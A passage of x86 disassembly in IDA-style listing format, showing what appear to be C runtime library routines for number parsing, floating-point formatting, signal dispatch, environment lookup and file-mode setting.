		dec	eax
		jz	short loc_42179A
		sub	eax, 3
		jnz	loc_42184E


loc_42173F:				; CODE XREF: sub_4214D8+2A4j
		push	8
		jmp	short loc_4217A8
; ---------------------------------------------------------------------------


loc_421743:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], edx ; jumptable 0042153B case 8


loc_421746:				; CODE XREF: sub_4214D8+276j
		cmp	bl, 30h
		jnz	short loc_421750
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421746
; ---------------------------------------------------------------------------


loc_421750:				; CODE XREF: sub_4214D8+271j
		cmp	bl, 31h
		jl	loc_42184B
		cmp	bl, 39h
		jg	loc_42184B
		jmp	short loc_42176E
; ---------------------------------------------------------------------------


loc_421764:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 7
		jl	short loc_421777
		cmp	bl, 39h
		jg	short loc_421777


loc_42176E:				; CODE XREF: sub_4214D8+250j
					; sub_4214D8+28Aj
		push	9


loc_421770:				; CODE XREF: sub_4214D8+76j
		pop	eax


loc_421771:				; CODE XREF: sub_4214D8+240j
		dec	edi
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_421777:				; CODE XREF: sub_4214D8+28Fj
					; sub_4214D8+294j
		cmp	bl, 30h
		jnz	short loc_4217C0
		jmp	short loc_42173F
; ---------------------------------------------------------------------------


loc_42177E:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+arg_18], 0	; jumptable 0042153B case 11
		jz	short loc_4217AE
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jnz	loc_42184E


loc_42179A:				; CODE XREF: sub_4214D8+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217A6:				; CODE XREF: sub_4214D8+258j
					; sub_4214D8+2B8j
		push	7


loc_4217A8:				; CODE XREF: sub_4214D8+85j
					; sub_4214D8+103j ...
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217AE:				; CODE XREF: sub_4214D8+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4217B2:				; CODE XREF: sub_4214D8+5Dj
					; sub_4214D8+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042153B case 10
		jz	loc_421850
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217C0:				; CODE XREF: sub_4214D8+12Dj
					; sub_4214D8+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421850
; ---------------------------------------------------------------------------


loc_4217C8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], 1	; jumptable 0042153B case 9
		xor	esi, esi


loc_4217D1:				; CODE XREF: sub_4214D8+339j
		cmp	dword_4397AC, 1
		jle	short loc_4217E9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4217F8
; ---------------------------------------------------------------------------


loc_4217E9:				; CODE XREF: sub_4214D8+300j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4217F8:				; CODE XREF: sub_4214D8+30Fj
		test	eax, eax
		jz	short loc_421818
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_421813
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4217D1
; ---------------------------------------------------------------------------


loc_421813:				; CODE XREF: sub_4214D8+334j
		mov	esi, 1451h


loc_421818:				; CODE XREF: sub_4214D8+322j
		mov	[ebp+var_1C], esi


loc_42181B:				; CODE XREF: sub_4214D8+371j
		cmp	dword_4397AC, 1
		jle	short loc_421833
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_421842
; ---------------------------------------------------------------------------


loc_421833:				; CODE XREF: sub_4214D8+34Aj
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421842:				; CODE XREF: sub_4214D8+359j
		test	eax, eax
		jz	short loc_42184B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42181B
; ---------------------------------------------------------------------------


loc_42184B:				; CODE XREF: sub_4214D8+99j
					; sub_4214D8+E4j ...
		dec	edi
		jmp	short loc_421850
; ---------------------------------------------------------------------------


loc_42184E:				; CODE XREF: sub_4214D8+261j
					; sub_4214D8+2BCj
		mov	edi, ecx


loc_421850:				; CODE XREF: sub_4214D8+2DDj
					; sub_4214D8+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_421938
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_42187C
		cmp	[ebp+var_45], 5
		jl	short loc_421870
		inc	[ebp+var_45]


loc_421870:				; CODE XREF: sub_4214D8+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_42187F
; ---------------------------------------------------------------------------


loc_42187C:				; CODE XREF: sub_4214D8+38Dj
		mov	eax, [ebp+var_C]


loc_42187F:				; CODE XREF: sub_4214D8+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_42192E


loc_421889:				; CODE XREF: sub_4214D8+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_421897
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_421889
; ---------------------------------------------------------------------------


loc_421897:				; CODE XREF: sub_4214D8+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_421411
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4218B6
		neg	eax


loc_4218B6:				; CODE XREF: sub_4214D8+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4218C1
		add	eax, [ebp+arg_10]


loc_4218C1:				; CODE XREF: sub_4214D8+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4218C9
		sub	eax, [ebp+arg_14]


loc_4218C9:				; CODE XREF: sub_4214D8+3ECj
		cmp	eax, 1450h
		jle	short loc_421900
		mov	[ebp+var_2C], 1


loc_4218D7:				; CODE XREF: sub_4214D8+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4218E3:				; CODE XREF: sub_4214D8+454j
					; sub_4214D8+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_421949
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_42195E
; ---------------------------------------------------------------------------


loc_421900:				; CODE XREF: sub_4214D8+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_421910
		mov	[ebp+var_30], 1
		jmp	short loc_4218D7
; ---------------------------------------------------------------------------


loc_421910:				; CODE XREF: sub_4214D8+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4220C1
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------


loc_42192E:				; CODE XREF: sub_4214D8+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------


loc_421938:				; CODE XREF: sub_4214D8+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_42195E
; ---------------------------------------------------------------------------


loc_421949:				; CODE XREF: sub_4214D8+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_42195E
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_42195E:				; CODE XREF: sub_4214D8+426j
					; sub_4214D8+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4214D8	endp

; ---------------------------------------------------------------------------
off_421979	dd offset loc_421542	; DATA XREF: sub_4214D8+63r
		dd offset loc_421591	; jump table for switch	statement
		dd offset loc_4215E8
		dd offset loc_421612
		dd offset loc_42166D
		dd offset loc_4216E4
		dd offset loc_42171A
		dd offset loc_421764
		dd offset loc_421743
		dd offset loc_4217C8
		dd offset loc_4217B2
		dd offset loc_42177E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219A9	proc near		; CODE XREF: sub_42074B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_421A0B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_421A0F
; ---------------------------------------------------------------------------


loc_421A0B:				; CODE XREF: sub_4219A9+5Aj
		mov	byte ptr [ebx+2], 20h


loc_421A0F:				; CODE XREF: sub_4219A9+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_421A35
		test	edi, edi
		jnz	short loc_421A35
		cmp	[ebp+arg_0], edi
		jnz	short loc_421A35


loc_421A20:				; CODE XREF: sub_4219A9+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_421C33
; ---------------------------------------------------------------------------


loc_421A35:				; CODE XREF: sub_4219A9+6Cj
					; sub_4219A9+70j ...
		cmp	dx, si
		jnz	short loc_421AB4
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_421A4E
		cmp	[ebp+arg_0], 0
		jz	short loc_421A5D


loc_421A4E:				; CODE XREF: sub_4219A9+9Dj
		test	edi, 40000000h
		jnz	short loc_421A5D
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_421AA3
; ---------------------------------------------------------------------------


loc_421A5D:				; CODE XREF: sub_4219A9+A3j
					; sub_4219A9+ABj
		test	cx, cx
		jz	short loc_421A77
		cmp	edi, 0C0000000h
		jnz	short loc_421A77
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Ind	; "1#IND"
		jmp	short loc_421A86
; ---------------------------------------------------------------------------


loc_421A77:				; CODE XREF: sub_4219A9+B7j
					; sub_4219A9+BFj
		cmp	edi, eax
		jnz	short loc_421A9E
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Inf	; "1#INF"


loc_421A86:				; CODE XREF: sub_4219A9+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_421A95:				; CODE XREF: sub_4219A9+109j
		and	[ebp+var_4], 0
		jmp	loc_421C0C
; ---------------------------------------------------------------------------


loc_421A9E:				; CODE XREF: sub_4219A9+C5j
					; sub_4219A9+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_421AA3:				; CODE XREF: sub_4219A9+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_421A95
; ---------------------------------------------------------------------------


loc_421AB4:				; CODE XREF: sub_4219A9+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4220C1
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_421B15
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421EA1
		pop	ecx
		pop	ecx


loc_421B15:				; CODE XREF: sub_4219A9+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_421B2F
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_421B32
		jmp	loc_421A20
; ---------------------------------------------------------------------------


loc_421B2F:				; CODE XREF: sub_4219A9+173j
		mov	edi, [ebp+arg_C]


loc_421B32:				; CODE XREF: sub_4219A9+17Fj
		cmp	edi, 15h
		jle	short loc_421B3A
		push	15h
		pop	edi


loc_421B3A:				; CODE XREF: sub_4219A9+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_421B50:				; CODE XREF: sub_4219A9+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421B50
		test	esi, esi
		jge	short loc_421B7A
		neg	esi
		and	esi, 0FFh
		jle	short loc_421B7A


loc_421B6D:				; CODE XREF: sub_4219A9+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213E4
		dec	esi
		pop	ecx
		jnz	short loc_421B6D


loc_421B7A:				; CODE XREF: sub_4219A9+1B8j
					; sub_4219A9+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_421BD7
		mov	[ebp+arg_C], ecx


loc_421B8A:				; CODE XREF: sub_4219A9+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421358
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_421B8A
		mov	eax, [ebp+arg_14]


loc_421BD7:				; CODE XREF: sub_4219A9+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_421C14


loc_421BE4:				; CODE XREF: sub_4219A9+248j
		cmp	eax, ecx
		jb	short loc_421BF7
		cmp	byte ptr [eax],	39h
		jnz	short loc_421BF3
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_421BE4
; ---------------------------------------------------------------------------


loc_421BF3:				; CODE XREF: sub_4219A9+242j
		cmp	eax, ecx
		jnb	short loc_421BFB


loc_421BF7:				; CODE XREF: sub_4219A9+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_421BFB:				; CODE XREF: sub_4219A9+24Cj
		inc	byte ptr [eax]


loc_421BFD:				; CODE XREF: sub_4219A9+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_421C0C:				; CODE XREF: sub_4219A9+F0j
		mov	eax, [ebp+var_4]


loc_421C0F:				; CODE XREF: sub_4219A9+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421C14:				; CODE XREF: sub_4219A9+239j
					; sub_4219A9+275j
		cmp	eax, ecx
		jb	short loc_421C24
		cmp	byte ptr [eax],	30h
		jnz	short loc_421C20
		dec	eax
		jmp	short loc_421C14
; ---------------------------------------------------------------------------


loc_421C20:				; CODE XREF: sub_4219A9+272j
		cmp	eax, ecx
		jnb	short loc_421BFD


loc_421C24:				; CODE XREF: sub_4219A9+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_421C33:				; CODE XREF: sub_4219A9+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_421C0F
sub_4219A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C3C	proc near		; CODE XREF: sub_41D4FC+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_421CA3
		dec	eax
		dec	eax
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C94
		sub	eax, 3
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C87
		sub	eax, 6
		jz	short loc_421C7A
		dec	eax
		jz	short loc_421C6D
		or	eax, 0FFFFFFFFh
		jmp	loc_421D65
; ---------------------------------------------------------------------------


loc_421C6D:				; CODE XREF: sub_421C3C+27j
		mov	esi, dword_48A2F4
		mov	eax, offset dword_48A2F4
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C7A:				; CODE XREF: sub_421C3C+24j
		mov	esi, dword_48A2F0
		mov	eax, offset dword_48A2F0
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C87:				; CODE XREF: sub_421C3C+1Fj
		mov	esi, dword_48A2F8
		mov	eax, offset dword_48A2F8
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C94:				; CODE XREF: sub_421C3C+10j
					; sub_421C3C+15j ...
		push	edi
		call	sub_421D69
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421CA3:				; CODE XREF: sub_421C3C+Cj
		mov	esi, dword_48A2EC
		mov	eax, offset dword_48A2EC


loc_421CAE:				; CODE XREF: sub_421C3C+3Cj
					; sub_421C3C+49j ...
		cmp	esi, 1
		jnz	short loc_421CBA
		xor	eax, eax
		jmp	loc_421D65
; ---------------------------------------------------------------------------


loc_421CBA:				; CODE XREF: sub_421C3C+75j
		test	esi, esi
		jnz	short loc_421CC5
		push	3
		call	sub_419AF6


loc_421CC5:				; CODE XREF: sub_421C3C+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_421CD7
		cmp	edi, 0Bh
		jz	short loc_421CD7
		cmp	edi, 4
		jnz	short loc_421CFD


loc_421CD7:				; CODE XREF: sub_421C3C+8Fj
					; sub_421C3C+94j
		mov	ebx, dword_48A0C8
		and	dword_48A0C8, 0
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	edx, dword_43BC1C
		mov	dword_43BC1C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_421D00
; ---------------------------------------------------------------------------


loc_421CFD:				; CODE XREF: sub_421C3C+99j
		mov	ebx, [ebp+arg_0]


loc_421D00:				; CODE XREF: sub_421C3C+BFj
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	eax, dword_43BC10
		mov	ecx, dword_43BC14
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_421D33
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43BBA0h[edx*4]


loc_421D21:				; CODE XREF: sub_421C3C+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_421D21
		jmp	short loc_421D33
; ---------------------------------------------------------------------------


loc_421D2C:				; CODE XREF: sub_421C3C+AAj
					; sub_421C3C+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421D41


loc_421D33:				; CODE XREF: sub_421C3C+D7j
					; sub_421C3C+EEj
		push	dword_43BC1C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421D4F
; ---------------------------------------------------------------------------


loc_421D41:				; CODE XREF: sub_421C3C+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421D4F
		cmp	edi, 4
		jnz	short loc_421D62


loc_421D4F:				; CODE XREF: sub_421C3C+103j
					; sub_421C3C+10Cj
		cmp	edi, 8
		mov	dword_48A0C8, ebx
		jnz	short loc_421D62
		mov	eax, [ebp+arg_0]
		mov	dword_43BC1C, eax


loc_421D62:				; CODE XREF: sub_421C3C+111j
					; sub_421C3C+11Cj
		xor	eax, eax
		pop	ebx


loc_421D65:				; CODE XREF: sub_421C3C+2Cj
					; sub_421C3C+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421C3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421D69	proc near		; CODE XREF: sub_421C3C+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BC18
		cmp	dword_43BB9C, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_421D97
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]


loc_421D8B:				; CODE XREF: sub_421D69+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_421D97
		cmp	[eax+4], edx
		jnz	short loc_421D8B


loc_421D97:				; CODE XREF: sub_421D69+16j
					; sub_421D69+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421DAB
		cmp	[eax+4], edx
		jz	short locret_421DAD


loc_421DAB:				; CODE XREF: sub_421D69+3Bj
		xor	eax, eax

locret_421DAD:				; CODE XREF: sub_421D69+40j
		retn
sub_421D69	endp


; =============== S U B	R O U T	I N E =======================================



sub_421DAE	proc near		; CODE XREF: sub_42094E+23p

arg_0		= dword	ptr  4

		cmp	dword_48B690, 0
		push	ebx
		push	esi
		mov	esi, dword_48A03C
		push	edi
		jz	short loc_421E25
		test	esi, esi
		jnz	short loc_421DDF
		cmp	dword_48A044, esi
		jz	short loc_421E25
		call	sub_42217C
		test	eax, eax
		jnz	short loc_421E25
		mov	esi, dword_48A03C
		test	esi, esi
		jz	short loc_421E25


loc_421DDF:				; CODE XREF: sub_421DAE+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_421E25
		push	ebx
		call	sub_417AB0
		pop	ecx
		mov	edi, eax


loc_421DF0:				; CODE XREF: sub_421DAE+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421E25
		push	eax
		call	sub_417AB0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_421E18
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_421E18
		push	edi
		push	ebx
		push	eax
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421E1D


loc_421E18:				; CODE XREF: sub_421DAE+51j
					; sub_421DAE+59j
		add	esi, 4
		jmp	short loc_421DF0
; ---------------------------------------------------------------------------


loc_421E1D:				; CODE XREF: sub_421DAE+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_421E27
; ---------------------------------------------------------------------------


loc_421E25:				; CODE XREF: sub_421DAE+10j
					; sub_421DAE+1Cj ...
		xor	eax, eax


loc_421E27:				; CODE XREF: sub_421DAE+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421DAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E2B	proc near		; CODE XREF: sub_4211F1+8Bp
					; sub_4211F1+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48B440
		jnb	short loc_421E92
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421E92
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421E6B
		and	cl, 7Fh
		jmp	short loc_421E78
; ---------------------------------------------------------------------------


loc_421E6B:				; CODE XREF: sub_421E2B+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_421E86
		or	cl, 80h


loc_421E78:				; CODE XREF: sub_421E2B+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_421E86:				; CODE XREF: sub_421E2B+48j
		mov	dword_48A014, 16h
		jmp	short loc_421E9C
; ---------------------------------------------------------------------------


loc_421E92:				; CODE XREF: sub_421E2B+Bj
					; sub_421E2B+27j
		mov	dword_48A014, 9


loc_421E9C:				; CODE XREF: sub_421E2B+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421E2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EA1	proc near		; CODE XREF: sub_4219A9+165p
					; sub_4220C1+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4220A1
		cmp	cx, 7FFFh
		jnb	loc_4220A1
		cmp	dx, 0BFFDh
		ja	loc_4220A1
		cmp	dx, 3FBFh
		ja	short loc_421F0A
		xor	eax, eax
		jmp	short loc_421F44
; ---------------------------------------------------------------------------


loc_421F0A:				; CODE XREF: sub_421EA1+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_421F2C
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_421F2C
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_421F2E
		cmp	[esi], eax
		jnz	short loc_421F2E
		jmp	loc_42209B
; ---------------------------------------------------------------------------


loc_421F2C:				; CODE XREF: sub_421EA1+71j
					; sub_421EA1+79j
		xor	eax, eax


loc_421F2E:				; CODE XREF: sub_421EA1+80j
					; sub_421EA1+84j
		cmp	cx, ax
		jnz	short loc_421F51
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421F51
		cmp	[ebx+4], eax
		jnz	short loc_421F51
		cmp	[ebx], eax
		jnz	short loc_421F51


loc_421F44:				; CODE XREF: sub_421EA1+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4220BC
; ---------------------------------------------------------------------------


loc_421F51:				; CODE XREF: sub_421EA1+90j
					; sub_421EA1+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_421F61:				; CODE XREF: sub_421EA1+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_421FB5
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


